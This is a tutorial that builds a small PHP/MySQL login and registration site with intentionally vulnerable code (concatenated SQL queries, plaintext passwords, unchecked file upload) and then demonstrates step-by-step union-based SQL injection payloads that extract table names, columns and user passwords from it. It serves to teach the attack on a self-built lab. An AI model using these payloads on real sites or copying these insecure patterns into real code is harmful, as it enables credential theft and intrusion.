How to Use SQL Injection Vulnerabilities to Obtain User Passwords
foreword
1. Design ideas
If you want to play SQL injection, a simple data interaction page is needed, so we use PHP to make a simple web page, which has three parts: login, registration and home page.
To log in, you need to enter the account password, and wait for the submission to enter the system;
To register, you need to enter your name, password, mobile phone number, photo, and enter the system after waiting for submission;
The home page needs to use the query statement after the linkage between PHP and the database to design a quick ID search page;
After the simple data interaction website is built, we use the loopholes in the parameters submitted by the browser to modify the construction parameters, submit SQL query statements, and pass them to the server to obtain the desired sensitive information.
2. Design purpose
Obtain the website administrator account and login password
1. Rapid website construction
The simplest website has two functions of login and registration, as well as the homepage entered after login. The technology used is HTML+PHP+SQL
1. Login page
Create a new shiyan folder under the root directory, create a new login.php below, first write a big title "Please enter the account number and password", after entering the account number and password, there is a submit button, and use the PHP statement to submit the information Verify, if it is consistent with the information stored in the database, enter the system. If it is inconsistent, the login failure will be returned at the bottom.
Here you need to use the database connection function. For convenience, I write the database connection as a conn.php file and call it directly in login.php.
<?php
//调用数据库连接文件
include("conn.php");
//接收传递的用户名和密码
$username=$_POST['username'];
$password=$_POST['password'];
//数据库查询语句
//判断输入的账号和密码是否与数据库中内容对应
$uapsql="select user,pass from kkk_tbl where user='$username' and pass='$password';";
//连接数据库
$reslust=mysqli_query($conn2,$uapsql);
// var_dump($reslust);
// var_dump();
//登录成功判断
//加@隐藏报警信息
if(@mysqli_num_rows($reslust)){
//强制跳转游戏页
header('Location:youxi.php');
session_start();
$_SESSION['login']='true';
}else{
$login = "登录失败";
$_SESSION['login']='false';
}
?>
<html>
<head>
<meta charset=utf-8>
</head>
<h1>请输入账号以及密码</h1>
<form action="" method="post" ></br>
<input type="text" name="username"> </br>
<input type="password" name="password"> </br>
<input type="submit">
</form>
//添加注册超链接
<a href="zhuce.php">点击注册</a></br>
//将登录信息显示
<?php echo $login;?>
</html>
2. Registration page
Create a new zhuce.php, the basic frame is the information entered under the form. We pass the input information to PHP for processing, and use the parameters name, password1, pasword2, etc. to receive the values submitted by the user.
Then judge the value passed in, and add some restrictions, such as the password length is 8 digits, and the password must be the same twice, the mobile phone number is 11 digits, and the uploaded photo type is in jpg format.
Use php to make certain restrictions on the above conditions. When they are all established, the registration is successful, and part of the registration information is displayed at the bottom of the form, which is convenient for debugging and troubleshooting.
<head>
<meta charset="utf-8">
</head>
<?php
include("conn.php");
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
$tupianname=$_FILES['tupian']['name'];
// echo $name,$password1,$password2,$shouji,$tupian;
if($_SERVER["REQUEST_METHOD"] == "POST"){
if(empty($name) || empty($password1) || empty($password2) || empty($shouji)){
$ERR="账号密码、手机号码不能为空";
//密码长度8位,密码两次输入一致
//密码验证
//手机11位
//文件上传jpg
}elseif(strlen($password1)<8){
$ERR="密码长度不足八位";
}elseif($password1!=$password2){
$ERR="两次输入密码不一致";
}elseif(strlen($shouji)!="11"){
$ERR="手机号码格式有问题";
}else{
// echo $_FILES["tupian"]["name"];
if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
}else{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" . $_FILES["tupian"]["name"]);
// echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
}
$sqlinsert="insert into kkk_tbl(user,pass,phone,file)
value('$name','$password1','$shouji','$tupianname');";
var_dump($conn2);
if(mysqli_query($conn2, $sqlinsert)){
$ERR="注册成功</br>";
}else{
$ERR="注册失败</br>";
};
}
}
?>
<form action="" method="post" enctype="multipart/form-data" >
名字:
<input type="text" name="name" > <br>
密码:
<input type="password" name="password1" ><br>
重新输入密码:
<input type="password" name="password2" ><br>
请输入手机号码:
<input type="passwrd" name="shouji" ><br>
上传头像:
<input type="file" name="tupian" ><br>
<input type="submit" value="提交">
</form>
//返回结果
<?php
echo $ERR;
echo "你注册的用户为:".$name."</br>";
echo "你注册的手机号码:".$shouji."</br>";
?>
<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>"
3. Database connection page
Similarly, create a new conn.php file, the server is local 127.0.0.1, the database administrator is root, the password is root, and the database name is kkk. Create a database by executing a php statement.
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "kkk";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
// 检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}else{
// echo "数据连接成功</br>";
if(mysqli_connect($servername, $username, $password, $dbname)){
// // echo "数据库表已经存在";
// $conn2 = mysqli_connect($servername, $username, $password, $dbname);
}else{
echo "开始自动创建数据库</br>";
$sql = "create DATABASE ".$dbname;
mysqli_query($conn, $sql);
echo "数据库创建成功</br>";
$createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`phone` VARCHAR(11) NOT NULL,
`file` VARCHAR(30) ,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;";
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
mysqli_query($conn2, $createtbl);
echo "数据表创建成功</br>";
}
}
// mysqli_close($conn);
?>
4. Home page (jump here after login)
Create a new youxi.php file with simple function design, mainly using SQL query to display user name and user ID.
At the top of the homepage design, echo the session information prompt after login (convenient for debugging bugs, can be deleted), a title in the middle, and a hyperlink to the query page.
Why is it unnecessary to design a session information? The main reason is that there are logical loopholes in this page, that is, infiltrators can access it without logging in. Therefore, users cannot view the content of this page without the authentication that the session is true.
<?php
include('session.php');
?>
<html>
<head>
<mate charset="utf-8">
<h1>游戏页面</h1>
<a href="select.php">点击查找账号以及ID的对应关系</a>
</head>
</html>
5. session page
Create a new session.php
to detect the login status of the login page. If it is true, the login is successful, and if it is false, the next page of the login page cannot be accessed.
<?php
session_start();
echo $_SESSION["login"];
if ($_SESSION["login"] == true) {
echo "您已经成功登陆<a href='zhuxiao.php'>点击注销</a>";
} else {
$_SESSION["login"] == false;
die("您无权访问,<a href='login.php'>点击跳转登录页面</a>");
}
?>
6. Logout page
New zhuxiao.php
If you want to log out completely after logging in, you need to log out the status of the session and set it to false. Force go to login page after destroying.
<?php
session_start();
$_SESSION["login"]='false';
session_destroy();
header('Location:login.php');
?>
7. Query page
The newly created select.php
query needs to use the database, so the conn.php database connection file is called. The query function is part of the home page, so it needs to be given session permission to call the session.php file.
It will return the id and user information queried from the database table to the bottom display, and the prompt information above the title is also for faster debugging
<?php
include('conn.php');
include('session.php');
$chaxun=$_GET['chaxun'];
if(is_numeric($chaxun)){
$chaxun = "id = $chaxun;";
}else{
$chaxun = "user = '$chaxun';";
}
$chaxun="select * from kkk_tbl where $chaxun;";
echo $chaxun;
// echo $chaxun;
$lianjie=mysqli_query($conn2,$chaxun);
$row=@mysqli_fetch_assoc($lianjie);
$user=$row['user'];
$id=$row['id'];
// var_dump($lianjie);
// while($row=mysqli_fetch_assoc($lianjie)){
// $user=$row['user'];
// $pass=$row['pass'];
// $phone=$row['phone'];
// echo "user:".$user."</br>"."pass:".$pass."</br>"."phone:".$phone."</br>";
// }
?>
<html>
<head>
<mate charset="utf-8">
<h1>请输入你要查询的id或者账号名字</h1>
<form action="#" method="get">
<input type="text" name="chaxun">
<input type="submit" >
</form>
<?php
echo "id:".$id."</br>"."user:".$user."</br>";
?>
</head>
</html>
8. Database
I am using mysql5.7 here, and I can see the information in the table more intuitively by logging in from the command line
2. Example of SQL injection (small test)
Simply practice the principle of SQL vulnerability injection, which has no practical value.
1. Guess the vulnerability logic
Take the php webpage in the website as an example. In the source code of the browser, you can see that the website uses PHP for data interaction.
The only values that can be entered on the web page are id and user, so it is guessed that the id and user passed by the browser will be assigned to a new variable in the PHP code.
Because we, as developers, know the implementation logic of the webpage, we can do SQL injection by changing the value of $chaxun during the transmission process. For other unfamiliar web pages, the code logic still needs to keep trying to guess.
The core of SQL injection is to operate database statements through the value-passing interface to achieve our expected results.
2. Guess the number of fields
You will find that the SQL statement structure in the web page is like this
One idea of injection is to use ' and --+ or # to comment the useless content, and pass the statement we want to query.
After finding the point of SQL injection, guess that most of the fields use order by, sort them to get the number of fields
1st attempt
Enter the following statement in the text input box to replace the previous value
admin'order by 1
No result, it was found that extra single quotes affect the execution of the statement
2nd attempt
We will use some characteristics of SQL statements to annotate them to eliminate the impact
admin'order by 1 or '1'='1
It can be seen that the result returns id and user name, which proves that the statement can realize the sorting operation after commenting out the following content
Next, we use this breakthrough to make multiple attempts to determine the number of fields
3rd attempt
admin' order by 2#'
Sort statement takes effect
4th attempt
admin' order by 3#'
Sort statement takes effect
5th attempt
admin' order by 4#'
Sort statement takes effect
6th attempt
admin' order by 5#'
Sort statement takes effect
7th attempt
admin' order by 6#'
The sorting statement is invalid, indicating that there are only 5 fields in the table
After several attempts, we determined the number of fields, and then we need field positions and names
3. Guess the field name
We use the query statement to find the location of the echo
1st attempt
admin'union select 1,2,3,4,5#'
The return is as expected, but the position of the field cannot be determined
2nd attempt
We change admin to a null value, so that after passing the value, the id and user will be represented by numbers in 12345, and then the field position can be determined
-admin'union select 1,2,3,4,5#'
Description, the first field is id, the second field is user
4. Guess the database name
Since the exact positions of id and user have been obtained above, we only need to replace them with two output functions at the corresponding positions to get the result
1st attempt
-admin'union select user(),database(),3,4,5#'
It is concluded that the database name is kkk, and the database user is the local root
Our purpose is to get the account number and password . Now we know the library name kkk, the user root of the library, the table in the library has five fields and the first field is id, and the second field is user name
But where is the password field and what is the content? We don't know
So we inject into the database table
5. Guess the database table
To guess the content under the corresponding password field in the table, we must first know what the table name is
Here we need to use a special table in the database, information_schema.tables is a special table, which stores all the tables in the database
select * from information_schema.tables;
Executed in the database command line, the returned result is like this
But we can't enter the database console now, we can only use the grammatical loopholes in the query statement to return what we want by injecting sql statements
1st attempt
Query all the contents of the tables under the kkk database
-admin'union select user(),database(),3,4,5 from information_schema.tables where TABLE_SCHEMA="kkk";#'
The return result did not meet expectations
If you look carefully, you will find that our injection statement does not specify the specific information in the table to be searched, and the search condition cannot accurately locate the table
2nd attempt
So we change the first user() function and the second database() function to 1 and the table name table_name, so that after executing this statement, the server will return the table name according to table_name.
-admin'union select 1,table_name,3,4,5 from information_schema.tables where TABLE_SCHEMA="kkk";#'
As you can see, the table name is kkk_tbl
Now we know the table name, the first two field names of the table, but how to get the remaining fields, we need to guess the remaining field names
3rd attempt
Use the same method to query the remaining fields, let it output the column name colum_name in the second place, that is, the field name
-admin'union select 1,column_name,3,4,5 from information_schema.columns where TABLE_name="kkk_tbl";#'
It turns out that the output content is only the first id in the field, and the remaining 4 fields are not displayed
4th attempt
Therefore, we need to optimize the SQL injection statement and return all the returned values in the form of strings in the second place of the field. Use the group_concat() function to achieve
-admin'union select 1,group_concat(column_name),3,4,5 from information_schema.columns where TABLE_name="kkk_tbl";#'
The results output the names of five fields, namely id, user, pass, phone, file
So far, we know the database name kkk, the database user root, the table name kkk_tbl, the number of fields in the table is 5, and the field names are id, user, pass, phone, and file.
Only one step away from obtaining the password
After learning that the third field in the table is a password, we use the same method to try
5th attempt (password blasting success)
Use the group_concat() function to output all user and password values under the table
-admin'union select 1,group_concat(user,pass),3,4,5 from kkk_tbl;#'
The results are as expected, two users, admin and 111, passwords are 123456 and 12345678 respectively
Let's check the correctness of the data on the command line
complete match